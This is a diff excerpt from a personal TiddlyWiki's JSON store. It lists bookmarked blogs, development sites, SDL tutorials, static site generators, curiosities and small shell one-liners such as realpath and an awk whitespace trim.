[[/dev/null|https://blog.benstein.nl]] --- //My name is Christian Benstein and I write about macOS based workflowโs, Obsidian and Things3. My philosophy is that your mind was not created to store information but to act on it and create.// --- \u003C\u003C[# Git\"https://github.com/KingOfSpades/KingOfSpades\">>\n* [[Eli Grey|https://eligrey.com/]]\n* [[Fabrizio Musacchio|https://www.fabriziomusacchio.com/]]\n* [[FlareXes|https://flarexes.com]]\n* [[Gianmarco Gargiulo|https://gianmarco.gg]]\n* [[iliana etaoin|https://iliana.fyi/]] --- //systems engineer at oxide computer company//\n* [[Il Disinformatico|https://attivissimo.blogspot.com/]] --- //Un blog di Paolo Attivissimo, giornalista informatico e cacciatore di bufale//\n* \u003C\u003ChttpL iter.ca>>\n* [[Jeff Geerling|https://www.jeffgeerling.com/]]\n* [[koyu's personal website|https://web.koyu.space/]]\n* [[l33t.codes|https://l33t.codes]] --- Nice emulated retro-style with CRT effects and monospace text of many colors.\n* [[LarrySanger.org|https://larrysanger.org/]] --- \"//Technology, philosophy, and more//\"\n* [[Leo3418's Personal Site|https://leo3418.github.io/]] --- \u003C\u003C[# Git\"https://github.com/Leo3418/leo3418.github.io\">>\n* [[Lily's Things at The Cool Site|https://www.lilysthings.org/]]\n* [[LiteFeel|https://www.litefeel.com]]\n* [[Lisperator.net|https://lisperator.net/]] --- //to create, to ilisperate//\n* [[Lyosha Cluster (ะััะฐ ะะปะฐััะตั)|https://cluster.wtf/]]\n* [[Mega Cat Studios, Inc.|https://megacatstudios.com/pages/table-of-contents]] --- with blog about retro, videogame, and development subjects\n* [[Magnetismo 2.1 - Il meglio dell'informatica|https://magnetismoinformatica.blogspot.com/]]\n* [[Max Schillinger|https://maximilian-schillinger.de/index.html]] --- //Linux pro, workflow optimizer, coder for life.//\n* [[๐ Nitay Neeman's Blog|https://nitayneeman.github.io/]]\n* [[P01โจ CREATIVE CODER & TECHNICAL SPEAKER|http://www.p01.org]]\n* [[Parzibyte.me|https://parzibyte.me]] (+Blog) --- //Blog de conocimiento gratuito: linux, programaciรณn, open source, bases de datos, android, frameworks, web e informรกtica en general.// --- \u003C\u003C[# Git\"https://github.com/parzibyte/parzibyte_me_3\">>\n* [[Read the Tea Leaves|https://nolanlawson.com/]] --- //Software and other dark arts, by Nolan Lawson//\n* [[RetrOfficina4004 Vintage|https://retrofficina4004.blogspot.com/]] --- //Chi non ricorda il passato รจ destinato a riviverlo//\n* [[ฮป ryan. himmelwright. net|https://ryan.himmelwright.net/]]\n* [[๐ข^^^ยฐ\u003C (schnappy.xyz)|https://schnappy.xyz/]]\n* [[Sebastian Jambor's blog|https://seb.jambor.dev/]] --- software engineering, efficiency and other things\n* [[SECRET CLUB - We Break Software|https://secret.club/]] --- //UPPING THE ANTE ON RESEARCH//\n* [[Simon Willisonโs Weblog|https://simonwillison.net/]] --- \u003C\u003C[ \"[[Git|https://github.com/simonw/simonwillisonblog]]\">>\n* [[Singpolyma|https://singpolyma.net/]] --- //Weber, Stephen Paul singpolyma. I played the tech industry game and won.// --- includes an interesting \"Actionstream\" feature listing public actions done on other sites\n* [[Stephan Wagner|https://stephanwagner.me/]]\n* [[TechLifeWeb|https://techlifeweb.com/]] --- //Exploring the digital life// --- interesting organization of normal blog posts with microblog-style notes\n* //''[[Technically We Write|https://technicallywewrite.com/]]'' is about technical writing, technical editing, and all things \"technical communication.\" Learn more about who we are.//\n* [[There oughta be...|https://there.oughta.be/]] --- //A collection of overcomplicated devices nobody needs//\n* [[Thiago Rossener - Desenvolvedor Front-End|https://rossener.com/]]\n* [[TiTiNoNero dice cose|https://www.77nn.it/]]\n* [[things i play|https://thingsiplay.game.blog/]] --- //My take on Gaming, Emulation and Steam related stuff on Linux//\n* [[Val Packett|https://val.packett.cool/]]\n\n!!! ''[[Book]]-leaning''\n* [[Alf's room (ใขใซใใฎ้จๅฑ)|https://alf-s-room.com/]]\n* [[Ledom Software|https://ledomsoft.com]]\n* [[100R - Hundred Rabbits|https://100r.co/]] --- \u003C\u003C[ \"[[Git|https://github.com/hundredrabbits/100r.co]]\">>\n\n!!! ''[[Gallery]]-leaning''\n\nThese are portfolios, collections of projects, hubs, landing pages, etc.\n\n* [[OctoSpacc Hub|https://hub.octt.eu.org]]\n* [[abe's projects - abe.today|https://abe.today/]] --- //Hi, I'm abe. I enjoy making things!//\n* [[Arktis :: Sigve Sebastian Farstad|https://arkt.is/]]\n* [[ari melody|https://arimelody.me/]] --- //your local SPACEGIRL ๐ซ//\n* [[Daniel X's Artisanal Internets|https://danielx.net/]]\n** [[Whimsy Space - ZineOS|https://whimsy.space/]]\n* [[eip hax|https://eiphax.tech]] --- //hi. i'm eip. i guess i'm a 'hobbyist web developer', except my skillset is 'write bad html, steal js/css/php, eat hot chip and lie'.// --- contains sections related to game console hacking/homebrew\n* [[ENTROPIE|https://entropie.org/]] --- a handful of connected blogs with tech articles and tech art galleries\n* [[Grumpy Website|https://grumpy.website/]] --- //world-leading media conglomerate of renowned experts in UIs, UX and TVs//\n* [[Jeff Thompson|https://www.jeffreythompson.org/]] --- many creative programming and artistic tech works by the author are highlighted on the site\n* [[libdb.so (diamondburned)|https://libdb.so/]] / \u003C\u003ChttpsL diamondx.pet>> --- cool site, the thing is just a terminal shell but with working links, images, and small tools --- \u003C\u003C[# Git \"https://github.com/diamondburned/libdb.so\">>\n* \u003C\u003ChttpL \"Neal.fun\">>\n* [[Nanolx|https://nanolx.org/]] --- //Hacking @ Debian//\n* [[Novasquirrel's site|https://novasquirrel.com/]]\n* [[Rogue Studio|https://rogue.studio/]] --- //Digital marketing, branding, and product experience studio//\n* [[Salvador Camacho|https://salvacam.js.org]] --- //Desarrollador Web y Administrador de Sistemas// --- \u003C\u003C[# Git\"https://github.com/salvacam/salvacam.github.io\">>\n* [[The Hacker's Choice|https://www.thc.org]] --- group of international hackers, founded in 1995 --- \u003C\u003C[# \"Knowledge Base\" \"https://iq.thc.org\">>\n* [[Tom's Pages|http://www.toms.net/]]\n* [[Trong|https://trongnguyen.co/]] (+ digital garden) --- //Vietnamese Product Designer living in Singapore, currently @Carousell//\n* \u003C\u003Clinkdescgit \"Yasoob Khalid\" \"https://yasoob.me/\" \"Author, Blogger & artist who can't make up his mind\" \"https://github.com/yasoob/personal_blog\">> --- the site contains some cool tech-focused art projects\n* [[ZeptoBars|https://zeptobars.com/en/]] --- hi-def pictures of naked CPU dies\n\n!!! ''[[Note]]-leaning''\n\nThese are kind of blogs, but don't contain mainly things written as blogs, but more note-like articles, like tutorials ecc...\n\n* [[Attacomsian|https://attacomsian.com/]]\n* [[Fizer Khan|https://www.fizerkhan.com/]]\n* [[Matias Kinnunen (mtsknn)|https://mtsknn.fi]] --- \u003C\u003C[# Git \"https://github.com/mtsknn/mtsknn.fi\">>\n* [[Naomi's Notes|https://notes.nyaomi.xyz/]]\n* note.nkmk.me: [[en|https://note.nkmk.me/en]], [[jp|https://note.nkmk.me]] (different articles)\n* [[็ปๅธๅฐ็ (Rongrongbq)|https://rongrongbq.moe/]]\n* [[rdpillon|https://rpdillon.net/]] --- //Rick's Home Online//\n* Show Notes from the [[Open Source is Awesome|https://opensourceisawesome.com/]] Youtube Channel\n* \u003C\u003Clinkdescgit SvennD \"https://svennd.be/\" \"Linux Sysadmin and Cyber Security Professional. This blog is mainly self-documenting. May my poorly written notes help you, dear DenverCoder9!\" \"https://github.com/svennd/blog\">>\n* [[Vincent Young Notes (missuo.me)|https://missuo.me/]] --- \u003C\u003C#[ Git \"https://github.com/missuo/missuo.github.io\">>\n\n!!! ''[[Wiki]]-leaning''\n\n* [[WikiHands|https://wikihands.github.io]]\n* [[WikiSpacc]]\n* Andrea Minini PKB: [[.com|https://www.andreaminini.com]], [[.org|https://www.andreaminini.org]]\n** [[How (by Okpedia)|https://how.okpedia.org/]] --- //Tutorials and Solutions KB// --- (apparently a separate wiki of the same person above, also multi-language)\n* [[Computer Science Mojo|https://csmojo.com]] --- //David's Notes on coding, software and computer science// --- \u003C\u003C[ \"[[Git|https://github.com/zhenyufu/zhenyufu.github.io]]\">>\n* //''[[Everything2|https://everything2.com/]]'' is a collaborative online community consisting of a database of interlinked user-submitted written material.//\n* [[Maggie Appleton|https://maggieappleton.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/MaggieAppleton/maggieappleton.com-V2]]\">>\n* [[metasyn|https://metasyn.pw/]]\n* [[bash.org QDB|http://web.archive.org/web/20230719194509/http://bash.org/]] --- // Quote Database Home//\n* [[RetroRGB|https://www.retrorgb.com/]] --- //site dedicated to keeping everyone up-to-date with everything the retro-gaming world has to offer//\n* [[RaspiBO|https://www.raspibo.org/]] --- //gruppo informale di appassionati di elettronica ed informatica libera della zona di Bologna (ma non solo)//\n* [[TheFrenchGhosty|https://thefrenchghosty.me/]]\n* [[The Refined Mind|https://refinedmind.co/]] --- //This is my tiny plot on the internet where I share ideas in progress. Itโs my public workspace and an experiment in whatโs known as digital gardening.//\n* [[wiki.nikiv.dev|https://wiki.nikiv.dev/]] --- \u003C\u003C[ \"[[Git|https://github.com/nikitavoloboev/knowledge]]\">>\n** [2023-08-18] Apparently the majority of pages is now paywalled, and the public Git repo isn't receiving any updates. Since the wiki is still static, the paywall can be bypassed by injecting following CSS code: `.modalblur{display:none !important;}`; otherwise, also disabing JavaScript is an option (but breaks navigation on mobile and search globally).\n* [[XXIIVV|https://wiki.xxiivv.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/XXIIVV/oscean]]\">>\n\n!!! Mess-leaning \u003Csmall>(often the most creative)\u003C/small>\n\n* [[Kicks Condor|https://www.kickscondor.com/]]\n* [[samy.pl|https://samy.pl/]] --- Website full of easter eggs by the same \u003C\u003CYoutubeL OJ1pEAdFLP8 \"person who once hacked MySpace\">>.\n** One easter egg is the client source code is hidden as a binary-encoded string represented by spaces and tabs; The server providing the data uses something (headers? but also other stuff) to only serve the real HTML to a browser; curl/wget without all the browser headers (and a browser after a reload in `view-source:` ?) get a fake HTML. \u003C\u003C#[ \"Older but more in-depth analysis\" \"https://t.me/ioctt/19280\">>\n* [[Tramaci.org|https://tramaci.org/]] --- Progetto a quanto pare abbandonato sulla privacy e il controllo, basato sul paradigma di [[pseudo-OS|Pseudo-OS]] web (anche fin troppo complottista e paranoide nei contenuti, ma tecnicamente รจ interessante).\n"},
{"title":"Saved/Sites/Development","created":"20230429190335486","creator":"Octt","modified":"20240103004131125","modifier":"Octt","tags":"","text":"Saved sites that are mainly about development (mainly devlogs, project showcases, or tips+tricks, and online tools).\n\nNote: the most technically useful ones, or the non-too-personal ones, might be listed under [[Development/Resources]].\n\n* [[Aibol Kussain|https://aibolik.com/]] --- //My Online space to share my learning in tech//\n* [[Hello Algorithms, Blockchain and Cloud|https://helloacm.com/]] --- //The Knowledgebase of Computing// --- seems like the most interesting and unique posts are the very old ones, still saving it here just for those.\n* [[binji's dustbin|https://binji.github.io/]]\n* [[Chibi Aliens / ChibiAkumas|https://www.chibialiens.com/]] --- //learn Assembly for the Greatest Classic Processors//\n* [[The Copetti Site - Rodrigo Copetti|https://www.copetti.org/]] --- //Technical writings for hungry readers// --- has a //Architecture of Consoles// series\n* [[copyrat90::devlog|https://copyrat90.github.io/]], \u003C\u003ChttpL velog.io/@copyrat90>> --- \u003C\u003C[# Git\"https://github.com/copyrat90/copyrat90.github.io\">>\n* [[Coto's development site|https://coto88.bitbucket.io/]]\n* [[Ctrl Alt Develop|https://www.ctrlaltdevelop.com/]] --- //Control the conditions. Alter your paradigm. Develop a solution.//\n* [[delasign|https://www.delasign.com/]] --- //we design, develop & optimize digital products & experiences for companies & individuals.//\n* [[DevDugeon|https://www.devdungeon.com/]] --- //Virtual Hackerspace; programming, cybersecurity, software freedom, and electronics//\n* [[cpprograms|https://cpprograms.net/]]\n* [[DefKorns|https://defkorns.github.io/]] --- //Mod repository// (has a cool strange Spiderman theme?)\n* [[Dragonminded.com|https://dragonminded.com/]] --- //...a site for everything else//\n* [[Dr.Hell's Page - ็ฌ็ฐๅฐ็ๆไน้ |https://drhell.web.fc2.com/]]\n* [[Dustin John Pfister|https://dustinpfister.github.io/]]\n* [[Fyrdility (Alexis Deveria)|https://a.deveria.com/]] --- //web design, web development, web technologies, web browsers and web standards//\n* \u003C\u003Clinkdescgit \"Hydra's Lair\" \"https://hydr8gon.github.io\" \"Emulators and Stuff\" \"https://github.com/Hydr8gon/hydr8gon.github.io\">>\n* [[Jack's AutoHotkey Blog|https://jacks-autohotkey-blog.com/]] --- //Feed Your Brain While Adding Power to Your Windows Computers//\n* [[Joaquim Ley|https://web.archive.org/web/20230604080543/https://www.joaquimley.com/]] --- //Builder, Engineer. Working in leadership. Blockchain, AI, social impact & climate.//\n** [[Joaquim Ley Blog|https://web.archive.org/web/20211027065800/https://joaquimley.com/blog]] --- //Writing about my experience sailing the tech world.//\n* [[Hey onetwo!|https://onetwo.ren/]] --- //ๆไธไบ็ๅผๆพ่ฎฐๅฟ | ๅ ณไบๅ็ซฏ_ๆจกๅ ๅญฆ_่ฏญไน็ฝ_ๆธธๆๅผๅ_็ๅๅฎข (Lin Yier's Open Memory | Blog about front-end, memetics, semantic web, game development)//\n** TiddlyWiki: [[Standard|https://onetwo.ren/wiki/]], [[Prerelease|https://wiki.onetwo.ren/]] --- //knowledge base mainly used to store text memes that Lin Yier encounters by chance, as well as to replace his various thoughts posted in Weibo Moments, and as a directory to pile up online content to be sorted out during the exploration process//\n* \u003C\u003ChttpsL kura.gg>>\n* [[Lessons from a... Creative Developer (iwearshorts.com)|https://iwearshorts.com/]] --- //Things I learn along the way, I keep here. Life, lessons and betterment through code.//\n* [[Krzysztof Kowalczyk|https://blog.kowalczyk.info/]] --- design and implementation of software\n* [[Lameguy64|http://lameguy64.net/]] --- mainly PS1 development projects\n* [[loadzero|https://blog.loadzero.com/]] --- //Jason McSweeney, unix hacker and recovering video game programmer//\n* [[Meefik's Blog|https://meefik.github.io/]] --- //Freedom and Open Source// --- \u003C\u003C[# Git\"https://github.com/meefik/meefik.github.io\">>\n* [[Mike MGarcia's Games Development Blog|http://mgarcia.org/]] --- //Hobby GameDev like its 1999//\n* [[Muffin Man|https://muffinman.io/]] --- //Frontend & creative coding, I'm Stanko, a software engineer in Amsterdam, making digital products and generative art.//\n* [[notin.tokyo (ไธๅจๆฑไบฌ)|https://notin.tokyo]]\n* [[null program (Chris Wellons)|https://nullprogram.com/]]\n* [[Patater|https://www.patater.com/]] --- has a lot of retrodevelopment projects and resources, especially NDS\n** [[GBAGuy's Lair Patater Mirror|https://www.patater.com/gbaguy/]] --- notes on some retrodevelopment\n* [[Photon Storm|https://photonstorm.com/]] --- //HTML5 Game Development Services//\n* [[Shiru's Stuff|https://shiru.untergrund.net/index.shtml]]\n* \u003C\u003Clinkdescgit SkyLyrac\"https://www.skylyrac.net\" \"Hacking, software projects and my thoughts\" \"https://github.com/AntonioND/antoniond.github.io\">>\n* [[Tan Li Hau ้็ซ่ฑช|https://lihautan.com/]] --- //Frontend Developer at Shopee Singapore//\n* \u003C\u003ChttpsL tonsky.me>> --- //programming and UI design//\n* [[The Ramblings Of A Coder by Omer Anson|https://omeranson.github.io/]] --- \u003C\u003C[# Git\"https://github.com/omeranson/omeranson.github.io\">>\n* [[Tom McFarlin|https://tommcfarlin.com/]] --- //Software Engineering in WordPress, PHP, and Backend Development//\n* [[UTF-8.jp|https://utf-8.jp/]]\n* [[Will Usher|https://www.willusher.io/]] --- //Scientific Visualization Engineer//\n* [[Yomotsu net|https://yomotsu.net/]] --- //Akihiro Oyamada I'm a Web-Front-End-Engineer, as well as a Microsoft MVP for Internet Explorer since 2011 to 2017. Playing with CSS3, SVG, WebGL and others.//\n* [[Zenithia|https://zenithsal.com/]] --- //Indie Game developer. Loves retro tech, making 8-bit music, motorcycles.//\n* [[ZetCode|https://zetcode.com/]] - //accessible tutorials for various languages//\n\nMainly game development:\n\n* [[Gaffer On Games|https://gafferongames.com/]]\n* [[Mason Barry Games|https://masonbarrygames.com/]] --- //3D Artist/Graphic Designer, inspiration comes from retro games from PlayStation 1 and Nintendo 64//\n* [[Retro-Programming|https://retro-programming.com/]] --- //Welcome to Old School Game Programming//\n"},
{"title":"Saved/Sites/Uncategorized","created":"20231221002424468","creator":"Octt","modified":"20231221002440639","modifier":"Octt","tags":"","text":"* [[AMStereo.org|http://www.amstereo.org/]]\n* [[Astral Dice|https://trpgbot.com/]]\n* [[bigclive.com|https://www.bigclive.com/]]\n* [[Starjunk 95|https://www.starjunk95.com]]\n* [[iD0t|http://id0t.x10.mx]]\n"},
{"title":"Saved/Social","created":"20230513213607067","creator":"Octt","modified":"20230608135658847","modifier":"Octt","text":"* [[๐ฆ OctoVoLTE|https://t.me/ioctt]]\n* [[Gattoposting|https://t.me/gattinibellicoccolosiuwu]]\n* \u003C\u003CRedditL r/LinuxCrackSupport r/LinuxCrackSupport>>\n"},
@@ -1401,7 +1402,7 @@
{"title":"Shared hosting","created":"20231218233911697","creator":"Octt","modified":"20231218234200424","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Shared hosting\">>\n\n* [[Altervista|https://it.altervista.org/]] \u003C\u003C[# en \"https://en.altervista.org/\">>\n** [[Blog di Altervista|https://blog.altervista.org/]] --- //la palestra del web italiano//\n** [[Tutorial Altervista|https://tutorial.altervista.org/]] --- //Come creare un sito web//\n"},
{"title":"Shell scripting","created":"20230725113714725","creator":"Octt","modified":"20231221194135897","modifier":"Octt","tags":"Scripting","text":"\u003C\u003C^wikipediaframe \"Shell scripting\">>\n\n* Open URL from shell:\n** Windows: `start \u003CURL>`\n** Linux desktop: `xdg-open \u003CURL>`\n** More: https://stackoverflow.com/questions/38147620/shell-script-to-open-a-url, https://askubuntu.com/questions/515947/how-do-i-open-an-url-from-a-bash-script\n\n* [[bash/fish command to print absolute path to a file|https://stackoverflow.com/questions/3915040/how-to-obtain-the-absolute-path-of-a-file-via-shell-bash-zsh-sh#3915075]]\n** `realpath example.txt # => /home/me/example.txt`\n\n* [[How do I trim leading and trailing whitespace from each line of some output?|https://unix.stackexchange.com/questions/102008/how-do-i-trim-leading-and-trailing-whitespace-from-each-line-of-some-output]] --- `awk '{$1=$1};1'`\n"},
{"title":"Shiori","created":"20230213164426117","creator":"Octt","icon":"๐","modified":"20230221205528044","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?bookmark,bookmarks","tags":"Libre","text":"//Simple bookmark manager built with Go// - [[[Git|https://github.com/go-shiori]]]\n\n\u003C!--\n\u003C\u003CiFrameBypass \"https://github.com/go-shiori/shiori/blob/master/README.md\">>\n-->\n\n!!! ''Features''\n* Automatic generation of \"simplified view\" pages\n* Optional archiving of original pages\n* Has an [[official browser extension|https://github.com/go-shiori/shiori-web-ext]]\n\n!!!! ''Lack thereof''\n* Lacks Atom/RSS feed support, so I made [[ShioriFeed|https://shiorifeed.octt.eu.org/]], a simple service for getting a feed from your Shiori profile - [[[Code|https://gitlab.com/octospacc/Snippets/-/blob/main/ShioriFeed.py]]]\n* Doesn't have explicit read/unread categorization, tags should instead be used for that\n"},
-{"title":"Simple DirectMedia Layer","created":"20231103223458206","creator":"Octt","modified":"20231125201508469","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Simple DirectMedia Layer\">>\n\n* [[SDL_Keycode|https://wiki.libsdl.org/SDL2/SDL_Keycode]] --- list of macros representing keyboard scancodes and keycodes, for use with `SDL_GetKeyState()`(1.2)/`SDL_GetKeyboardState()`(2.0) and `SDL_PollEvent(&event)`...`event.key.keysym.sym == ...` respectively\n\n* Beginning Game Programming in C++ with Lazy Foo' Productions' tutorials for: [[v1, SDL 1.2|https://lazyfoo.net/SDL_tutorials/]] ; [[v2.0, SDL 2.0|https://lazyfoo.net/tutorials/SDL/index.php]]\n* [[Getting Started With SDL 1.2|http://gamedevgeek.com/tutorials/getting-started-with-sdl/]] ; [[Moving Sprites With SDL 1.2|http://gamedevgeek.com/tutorials/moving-sprites-with-sdl/]] ; [[Animating Sprites With SDL|http://gamedevgeek.com/tutorials/animating-sprites-with-sdl/]]\n* [[Exploring SDL (Wikibooks)|https://en.wikibooks.org/wiki/SDL_(Simple_DirectMedia_Layer)]] --- introduction to SDL with the most important basic information, + some WIP examples\n\n* Minimal examples of using the HTML5 canvas via SDL, through WebAssembly and [[C|https://github.com/shlomnissan/sdl-wasm]] or [[C++|https://github.com/timhutton/sdl-canvas-wasm]]\n* [[sdl-joystick-polling.c|https://gist.github.com/fabiocolacio/423169234b8daf876d8eb75d8a5f2e95]] --- // A demonstration of using SDL2 to poll the state of buttons and axes on a joystick//\n\n* [[LuaSDL 1.2|https://github.com/soulik/LuaSDL]] --- //Lua binding to libSDL 1.2// --- should find the time to try this properly and if it actually works on embedded Linux consoles etc.\n* [[[Release] SDL-3DS 1.2.15 - Simple DirectMedia Layer for 3DS|https://gbatemp.net/threads/release-sdl-3ds-1-2-15-simple-directmedia-layer-for-3ds.459291/]]\n\n* [[Why SDL doesn't allow `int main(void)`|https://copyrat90.github.io/2021/08/08/why-sdl-does-not-allow-int-main-void.html]]\n* [[What is the best way to read input from keyboard using SDL?|https://stackoverflow.com/questions/11699183/what-is-the-best-way-to-read-input-from-keyboard-using-sdl]]\n"},
+{"title":"Simple DirectMedia Layer","created":"20231103223458206","creator":"Octt","modified":"20240119003644181","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Simple DirectMedia Layer\">>\n\n* [[SDL_Keycode|https://wiki.libsdl.org/SDL2/SDL_Keycode]] --- list of macros representing keyboard scancodes and keycodes, for use with `SDL_GetKeyState()`(1.2)/`SDL_GetKeyboardState()`(2.0) and `SDL_PollEvent(&event)`...`event.key.keysym.sym == ...` respectively\n\n* Beginning Game Programming in C++ with Lazy Foo' Productions' tutorials for: [[v1, SDL 1.2|https://lazyfoo.net/SDL_tutorials/]] ; [[v2.0, SDL 2.0|https://lazyfoo.net/tutorials/SDL/index.php]]\n* [[Getting Started With SDL 1.2|http://gamedevgeek.com/tutorials/getting-started-with-sdl/]] ; [[Moving Sprites With SDL 1.2|http://gamedevgeek.com/tutorials/moving-sprites-with-sdl/]] ; [[Animating Sprites With SDL|http://gamedevgeek.com/tutorials/animating-sprites-with-sdl/]]\n* [[Exploring SDL (Wikibooks)|https://en.wikibooks.org/wiki/SDL_(Simple_DirectMedia_Layer)]] --- introduction to SDL with the most important basic information, + some WIP examples\n\n* Minimal examples of using the HTML5 canvas via SDL, through WebAssembly and [[C|https://github.com/shlomnissan/sdl-wasm]] or [[C++|https://github.com/timhutton/sdl-canvas-wasm]]\n* [[sdl-joystick-polling.c|https://gist.github.com/fabiocolacio/423169234b8daf876d8eb75d8a5f2e95]] --- // A demonstration of using SDL2 to poll the state of buttons and axes on a joystick//\n\n* [[LuaSDL 1.2|https://github.com/soulik/LuaSDL]] --- //Lua binding to libSDL 1.2// --- should find the time to try this properly and if it actually works on embedded Linux consoles etc.\n* [[[Release] SDL-3DS 1.2.15 - Simple DirectMedia Layer for 3DS|https://gbatemp.net/threads/release-sdl-3ds-1-2-15-simple-directmedia-layer-for-3ds.459291/]]\n\n* [[Why SDL doesn't allow `int main(void)`|https://copyrat90.github.io/2021/08/08/why-sdl-does-not-allow-int-main-void.html]]\n* [[What is the best way to read input from keyboard using SDL?|https://stackoverflow.com/questions/11699183/what-is-the-best-way-to-read-input-from-keyboard-using-sdl]]\n\n* [[Rendering 8-bit palettized surfaces in SDL 2.0 applications|https://sandervanderburg.blogspot.com/2014/05/rendering-8-bit-palettized-surfaces-in.html]]\n"},
{"title":"Simple Mobile Tools:en","created":"20230203222012422","creator":"Octt","modified":"20230206111552367","modifier":"Octt","tags":"Android $:/i18n:en","text":"//A group of simple, open source Android apps without ads and unnecessary permissions, with customizable colors.//\n\n* https://simplemobiletools.com/"},
{"title":"sitoctt","created":"20230206204410406","creator":"Octt","icon":"โจ","modified":"20230219155809638","modifier":"Octt","tags":"Octt TODO Web Site","text":"* https://sitoctt.octt.eu.org/"},
{"title":"SMIL","created":"20230823095502547","creator":"Octt","modified":"20230823095954050","modifier":"Octt","tags":"SVG","text":"Language derived from XML (and partially SVG) to create animated and interactive multimedia experiences without JavaScript, older and less clunky than using CSS3 to do the same things.\n\n\u003C\u003C^wikipediaframe \"Synchronized Multimedia Integration Language\">>\n"},
@@ -1424,8 +1425,8 @@
{"title":"Starbucks","created":"20230305195429422","creator":"Octt","modified":"20230305195825406","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Starbucks>>\n\n!!! ''News''\n\n; March 2023\n: [[Starbucks illegally fired US workers over union, judge rules|https://www.bbc.co.uk/news/business-64819774]].\n"},
{"title":"Static site generator","created":"20230905232949767","creator":"Octt","modified":"20231222001704153","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Static site generator\">>\n\n* \u003C\u003Clinkdescgit Docusaurus \"https://docusaurus.io\" \"Easy to maintain open source documentation websites.\" \"https://github.com/facebook/docusaurus\">>\n* \u003C\u003Clinkdescgit Hugo \"https://gohugo.io\" \"The worldโs fastest framework for building websites\" \"https://github.com/gohugoio/hugo\">>\n\n* [[Hexo|https://hexo.io/]] --- //A fast, simple & powerful blog framework//\n** //[[NexT|https://theme-next.js.org/]] is a high quality elegant theme for Hexo. It is crafted from scratch, with love.// --- \u003C\u003C[# Git \"https://github.com/next-theme\">>\n\n* [[Jekyll|https://jekyllrb.com]] (+ docs) --- //๐ Jekyll is a blog-aware static site generator in Ruby// --- \u003C\u003C#[ Git\"https://github.com/jekyll\">>\n** [[Jekyll Themes|http://jekyllthemes.org/]] --- //A directory of the best-looking themes for Jekyll blogs// --- \u003C\u003C#[ Git\"https://github.com/mattvh/jekyllthemes\">>\n*** \u003C\u003Clinkdescgit \"So Simple [Theme]\" \"https://mmistakes.github.io/so-simple-theme\" \" A simple Jekyll theme for words and pictures.\" \"https://github.com/mmistakes/so-simple-theme\">>\n*** \u003C\u003Clinkdescgit \"Jekflix Template\" \"https://jekflix.rossener.com/\" \"A Jekyll theme inspired by Netflix. ๐ฌ\" \"https://github.com/thiagorossener/jekflix-template\">>\n*** [[TeXt Theme|https://kitian616.github.io/jekyll-TeXt-theme/]] --- //๐ ๐ณ A super customizable Jekyll theme for personal site, team site, blog, project, documentation, etc. // --- \u003C\u003C[# Git\"https://github.com/kitian616/jekyll-TeXt-theme\">>\n** [[Working with upcoming posts in Jekyll|https://www.fizerkhan.com/blog/posts/working-with-upcoming-posts-in-jekyll]]\n\n* [[Pelican|https://getpelican.com/]]\n** [[Eevee|https://kura.gg/eevee/]] --- //A Material Design theme for Pelican//\n\n* \u003C\u003Clinkdescgit Retype \"https://retype.com\" \"ultra-high-performance โจ static website generator that builds a website based on simple Markdown text files\" \"https://github.com/retypeapp\">> --- seems catered towards docs/notes sites\n"},
{"title":"Strange things","created":"20231105150445511","creator":"Octt","modified":"20240110005819739","modifier":"Octt","tags":"","text":"* [[https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html]] --- this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?\n\n* [[StudyPlan.dev|https://www.studyplan.dev/]] --- strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...\n\n* [[^^^^^~ โ uiโโณโฒ โบ .info|https://yyyyyyy.info/]] --- just a mess collage of images, and the content changes at every site visit\n* [[Smokepowered - ็ ้งๅๅ.com|https://smokepowered.com/]] --- strange site with weed background and video of Valve characters smoking\n** [[Epic Blazed|https://epicblazed.com/]] --- same thing above, but for Epic Games, Unreal Engine, Fortnite\n\n* [[ICCIVITELLA|https://iccivitella.it/]], ... --- SEO spamming websites with fake content... sometimes they seem to have more actual content than real sites?\n\n* \u003C\u003ChttpsL www.chimica-online.it>>, \u003C\u003ChttpsL www.scuola-e-cultura.it>>, ... --- sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing\n\n* [[Toire no Hanako-san (folclore)|https://it.wikipedia.org/wiki/Toire_no_Hanako-san_(folclore)]]\n\n* [[PassSource|https://www.passsource.com/]] --- apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful\n\n* [[Library of Babel|https://libraryofbabel.info/]] --- contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.\n** Alternative version: \u003C\u003CYoutubeL w0XJ8D-TJtM \"Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)\">>\n\n* [[https://www.playemulator.io/]] --- very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games\n\n* [[Pra' - Le Lavatrici|https://it.wikipedia.org/wiki/Pra%27#Le_Lavatrici]] --- un quartiere che sembra una mezza piramide fatta di lavatrici giganti\n"},
-{"title":"Super Mario 64","created":"20230202232653119","creator":"Octt","modified":"20240107164644508","modifier":"Octt","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^WikipediaFrame \"Super Mario 64\">>\n\n!!! Mods\n\n* [[Shotgun Mario 64|https://romhacking.com/hack/shotgun-mario-64]] --- [\u003C\u003CYoutubeL YHdUHSv2lPc>>]\n"},
-{"title":"Super Mario Bros.","created":"20230209153716905","creator":"Octt","modified":"20231212222839172","modifier":"Octt","tags":"Game","text":"\u003C\u003C^wikipediaframe Super_Mario_Bros. en>>\n\n* [[Super Mario Bros. 3Mix|https://www.sonicepoch.com/sm3mix/]] --- //The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title.// --- \u003C\u003C[# Thread\"https://www.romhacking.net/forum/index.php?topic=14049.0\">> \u003C\u003C[# Release\"https://www.romhacking.net/hacks/2068/\">> \u003C\u003C[# Git\"https://github.com/captainsouthbird/3Mix\">> \u003C\u003C[# ROM\"https://archive.org/details/super-mario-bros.-3-mix\">>\n"},
